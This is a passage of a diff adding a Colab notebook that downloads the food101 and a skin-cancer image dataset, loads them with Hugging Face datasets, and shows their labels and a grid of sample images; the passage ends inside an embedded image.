+              "version_minor": 0,
+              "model_id": "d6e7d1b10c7d4f5daa699d507c11f2d4"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading readme:   0%|          | 0.00/10.3k [00:00<?, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "df26988483374f13b3f5b5249885314e"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Downloading and preparing dataset food101/default to /root/.cache/huggingface/datasets/food101/default/0.0.0/7cebe41a80fb2da3f08fcbef769c8874073a86346f7fb96dc0847d4dfc318295...\n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading data:   0%|          | 0.00/5.00G [00:00<?, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "82acbc3424b14a3583b58739b556045e"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading data files:   0%|          | 0/2 [00:00<?, ?it/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "27228900fcc64b8e976c7cf674365f5e"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading data:   0%|          | 0.00/1.47M [00:00<?, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "3a90127f102749d49dc707462fa1493c"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading data:   0%|          | 0.00/489k [00:00<?, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "c85eb3cb9e364d65bf81da8d8695384d"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Generating train split:   0%|          | 0/75750 [00:00<?, ? examples/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "59228c17fb39460aa14997c501c4c528"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Generating validation split:   0%|          | 0/25250 [00:00<?, ? examples/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "0acd2ec0c2a64e2997230aee8d6b9ef3"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Dataset food101 downloaded and prepared to /root/.cache/huggingface/datasets/food101/default/0.0.0/7cebe41a80fb2da3f08fcbef769c8874073a86346f7fb96dc0847d4dfc318295. Subsequent calls will reuse this data.\n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "  0%|          | 0/2 [00:00<?, ?it/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "dfae6990fa884f9fa6f4c87c066ee755"
+            }
+          },
+          "metadata": {}
+        }
+      ],
+      "source": [
+        "from datasets import load_dataset\n",
+        "\n",
+        "# download & load the dataset\n",
+        "ds = load_dataset(\"food101\")"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "## Loading a Custom Dataset using `ImageFolder`\n",
+        "Run the three below cells to load a custom dataset (that's not in the Hub) using `ImageFolder`"
+      ],
+      "metadata": {
+        "id": "H9ZcQf_HDXl6"
+      }
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 6,
+      "metadata": {
+        "id": "kF0He2BQcBSG"
+      },
+      "outputs": [],
+      "source": [
+        "import requests\n",
+        "from tqdm import tqdm\n",
+        "\n",
+        "def get_file(url):\n",
+        "  response = requests.get(url, stream=True)\n",
+        "  total_size = int(response.headers.get('content-length', 0))\n",
+        "  filename = None\n",
+        "  content_disposition = response.headers.get('content-disposition')\n",
+        "  if content_disposition:\n",
+        "      parts = content_disposition.split(';')\n",
+        "      for part in parts:\n",
+        "          if 'filename' in part:\n",
+        "              filename = part.split('=')[1].strip('\"')\n",
+        "  if not filename:\n",
+        "      filename = os.path.basename(url)\n",
+        "  block_size = 1024 # 1 Kibibyte\n",
+        "  tqdm_bar = tqdm(total=total_size, unit='iB', unit_scale=True)\n",
+        "  with open(filename, 'wb') as file:\n",
+        "      for data in response.iter_content(block_size):\n",
+        "          tqdm_bar.update(len(data))\n",
+        "          file.write(data)\n",
+        "  tqdm_bar.close()\n",
+        "  print(f\"Downloaded {filename} ({total_size} bytes)\")\n",
+        "  return filename"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 7,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "HREIgilFbW_S",
+        "outputId": "5df33354-ecd9-4b1a-dc54-fb9d7ab052c8"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "100%|██████████| 865M/865M [00:47<00:00, 18.1MiB/s]\n"
+          ]
+        },
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Downloaded valid.zip (864538487 bytes)\n",
+            "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip\n"
+          ]
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "100%|██████████| 5.74G/5.74G [05:39<00:00, 16.9MiB/s]\n"
+          ]
+        },
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Downloaded train.zip (5736557430 bytes)\n",
+            "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip\n"
+          ]
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "100%|██████████| 5.53G/5.53G [04:53<00:00, 18.9MiB/s]\n"
+          ]
+        },
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Downloaded test.zip (5528640507 bytes)\n",
+            "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip\n"
+          ]
+        }
+      ],
+      "source": [
+        "import zipfile\n",
+        "import os\n",
+        "\n",
+        "def download_and_extract_dataset():\n",
+        "  # dataset from https://github.com/udacity/dermatologist-ai\n",
+        "  # 5.3GB\n",
+        "  train_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip/"\n",
+        "  # 824.5MB\n",
+        "  valid_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip/"\n",
+        "  # 5.1GB\n",
+        "  test_url  = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip/"\n",
+        "  for i, download_link in enumerate([valid_url, train_url, test_url]):\n",
+        "    data_dir = get_file(download_link)\n",
+        "    print(\"Extracting\", download_link)\n",
+        "    with zipfile.ZipFile(data_dir, \"r\") as z:\n",
+        "      z.extractall(\"data\")\n",
+        "    # remove the temp file\n",
+        "    os.remove(data_dir)\n",
+        "\n",
+        "# comment the below line if you already downloaded the dataset\n",
+        "download_and_extract_dataset()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "from datasets import load_dataset\n",
+        "\n",
+        "# load the custom dataset\n",
+        "ds = load_dataset(\"imagefolder\", data_dir=\"data\")"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 0,
+          "referenced_widgets": [
+            "38389509624645cf977798472b81886c",
+            "7814affd5f7c4d37922f6729bd43e80e",
+            "b50f4aafb0b04804996bc53c470abec7",
+            "3858fb5541764508a41a4ad515b4a8ed",
+            "0c45f0e8448843eb924ae8c30f596b48",
+            "c964271a79a54d15b592d9d112e30ee4",
+            "9da2abd12ac948faab8e5eb33a4f2dcc",
+            "64be2fb177104b59b448e44f0b556132",
+            "1654fb11f5be495395999ad6a6c31ebb",
+            "b9ba1b7fc4d44b5f953ee60193de735a",
+            "2e6f253fc8e9450fad110fc47510c111",
+            "e9657262a4714ecf8884f6354f32c6a3",
+            "f503ed30c9ed4b1a84e3b3110f5671c8",
+            "e089f32f5c0e40989a6f036ed8df44a3",
+            "a5ca7aa6e2d1434ba84e75555806f79b",
+            "fc3dd9a26c044045949264eaa26da93f",
+            "ae9cfa0636354fd3a663f80c022c0b38",
+            "137a450619fc4630b7754d3539908288",
+            "c00d60b00d2f4d22be325af0cb10b234",
+            "c9518d498ce54f2c9bafde7914ddc51b",
+            "ec62031c9a6240069a52da7354173622",
+            "4706d251c340427ebb468e4d8a333031",
+            "b799085f7ff84b4496a64587066d4645",
+            "b3324a67f18449faaec765ea2248a6d8",
+            "bd77d6d98d0249b3bc99c94d46e7d7a1",
+            "8060cd481cdd4229878a871e9ae411d5",
+            "5a2db2886a72478da3ec0b67f8e88c48",
+            "a99e7f4228fb4a8e8589e30677ccde74",
+            "c4f8b2b6f66c4108a12944505952c1ea",
+            "c069ba18441347d2875a8c366b23c3ff",
+            "0cafd43406ac46c6b307adb6c36746df",
+            "42a4cd25bb6a46a9a3b4fe4b6da96eab",
+            "c02ba744e0414508bc0e24e015c5ef57",
+            "017d3b681a1248eeaac5787621356258",
+            "83c008a35cb24407ae96ac46a6ca4c2a",
+            "4895214231854f0ab17dc98a711772b3",
+            "e34ff62351d8441593698b13d46bc18e",
+            "a66a957b6c15453c8a525bcaf2f2a805",
+            "f4bc4c6164624dcab5f8fe95e7ad5a31",
+            "4171150fd5394d4989498ce951839a96",
+            "4cfcbd9389734994997e4f0812f018c8",
+            "6fd1258d4d374358ba261425b5260740",
+            "a21b1102a4d842b394adba0a1e758a39",
+            "27ab1ed3b5dd413991017b9fecc0903c"
+          ]
+        },
+        "id": "LjzUza9MwBgz",
+        "outputId": "9b33adf0-b7ec-42d6-9c3c-fc40b7107469"
+      },
+      "execution_count": 5,
+      "outputs": [
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Resolving data files:   0%|          | 0/2000 [00:00<?, ?it/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "38389509624645cf977798472b81886c"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Resolving data files:   0%|          | 0/600 [00:00<?, ?it/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "e9657262a4714ecf8884f6354f32c6a3"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Resolving data files:   0%|          | 0/150 [00:00<?, ?it/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "b799085f7ff84b4496a64587066d4645"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "WARNING:datasets.builder:Found cached dataset imagefolder (/root/.cache/huggingface/datasets/imagefolder/default-6fa39cb8bd2286d1/0.0.0/37fbb85cc714a338bea574ac6c7d0b5be5aff46c1862c1989b20e0771199e93f)\n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "  0%|          | 0/3 [00:00<?, ?it/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "017d3b681a1248eeaac5787621356258"
+            }
+          },
+          "metadata": {}
+        }
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# Exploring the Data"
+      ],
+      "metadata": {
+        "id": "QVjb_p9kDr5Q"
+      }
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "ds"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "dX_ABF25z-_w",
+        "outputId": "9842bde2-9aec-45c3-a9f4-bd8c76a34f58"
+      },
+      "execution_count": 12,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "DatasetDict({\n",
+              "    train: Dataset({\n",
+              "        features: ['image', 'label'],\n",
+              "        num_rows: 75750\n",
+              "    })\n",
+              "    validation: Dataset({\n",
+              "        features: ['image', 'label'],\n",
+              "        num_rows: 25250\n",
+              "    })\n",
+              "})"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 12
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 13,
+      "metadata": {
+        "id": "MgxqXVVrITqO",
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "outputId": "11bb4f17-9700-427e-c7fd-cba027ec71b4"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "ClassLabel(names=['apple_pie', 'baby_back_ribs', 'baklava', 'beef_carpaccio', 'beef_tartare', 'beet_salad', 'beignets', 'bibimbap', 'bread_pudding', 'breakfast_burrito', 'bruschetta', 'caesar_salad', 'cannoli', 'caprese_salad', 'carrot_cake', 'ceviche', 'cheesecake', 'cheese_plate', 'chicken_curry', 'chicken_quesadilla', 'chicken_wings', 'chocolate_cake', 'chocolate_mousse', 'churros', 'clam_chowder', 'club_sandwich', 'crab_cakes', 'creme_brulee', 'croque_madame', 'cup_cakes', 'deviled_eggs', 'donuts', 'dumplings', 'edamame', 'eggs_benedict', 'escargots', 'falafel', 'filet_mignon', 'fish_and_chips', 'foie_gras', 'french_fries', 'french_onion_soup', 'french_toast', 'fried_calamari', 'fried_rice', 'frozen_yogurt', 'garlic_bread', 'gnocchi', 'greek_salad', 'grilled_cheese_sandwich', 'grilled_salmon', 'guacamole', 'gyoza', 'hamburger', 'hot_and_sour_soup', 'hot_dog', 'huevos_rancheros', 'hummus', 'ice_cream', 'lasagna', 'lobster_bisque', 'lobster_roll_sandwich', 'macaroni_and_cheese', 'macarons', 'miso_soup', 'mussels', 'nachos', 'omelette', 'onion_rings', 'oysters', 'pad_thai', 'paella', 'pancakes', 'panna_cotta', 'peking_duck', 'pho', 'pizza', 'pork_chop', 'poutine', 'prime_rib', 'pulled_pork_sandwich', 'ramen', 'ravioli', 'red_velvet_cake', 'risotto', 'samosa', 'sashimi', 'scallops', 'seaweed_salad', 'shrimp_and_grits', 'spaghetti_bolognese', 'spaghetti_carbonara', 'spring_rolls', 'steak', 'strawberry_shortcake', 'sushi', 'tacos', 'takoyaki', 'tiramisu', 'tuna_tartare', 'waffles'], id=None)"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 13
+        }
+      ],
+      "source": [
+        "labels = ds[\"train\"].features[\"label\"]\n",
+        "labels"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 14,
+      "metadata": {
+        "id": "ozNlqVN3IgnR",
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 35
+        },
+        "outputId": "b74c1570-de7c-4843-8ede-fe5e877468cb"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "'beignets'"
+            ],
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "string"
+            }
+          },
+          "metadata": {},
+          "execution_count": 14
+        }
+      ],
+      "source": [
+        "labels.int2str(ds[\"train\"][532][\"label\"])"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "import random\n",
+        "import matplotlib.pyplot as plt\n",
+        "\n",
+        "def show_image_grid(dataset, split, grid_size=(4,4)):\n",
+        "    # Select random images from the given split\n",
+        "    indices = random.sample(range(len(dataset[split])), grid_size[0]*grid_size[1])\n",
+        "    images = [dataset[split][i][\"image\"] for i in indices]\n",
+        "    labels = [dataset[split][i][\"label\"] for i in indices]\n",
+        "    \n",
+        "    # Display the images in a grid\n",
+        "    fig, axes = plt.subplots(nrows=grid_size[0], ncols=grid_size[1], figsize=(8,8))\n",
+        "    for i, ax in enumerate(axes.flat):\n",
+        "        ax.imshow(images[i])\n",
+        "        ax.axis('off')\n",
+        "        ax.set_title(ds[\"train\"].features[\"label\"].int2str(labels[i]))\n",
+        "    \n",
+        "    plt.show()"
+      ],
+      "metadata": {
+        "id": "FEV3yejjE7GV"
+      },
+      "execution_count": 10,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "show_image_grid(ds, \"train\")"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 482
+        },
+        "id": "YwU_YpNYE8af",
+        "outputId": "43b98331-a68f-439f-e6e1-6292402ae1cc"
+      },
+      "execution_count": 11,
+      "outputs": [
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "<Figure size 576x576 with 16 Axes>"
+            ],
+            "image/png": "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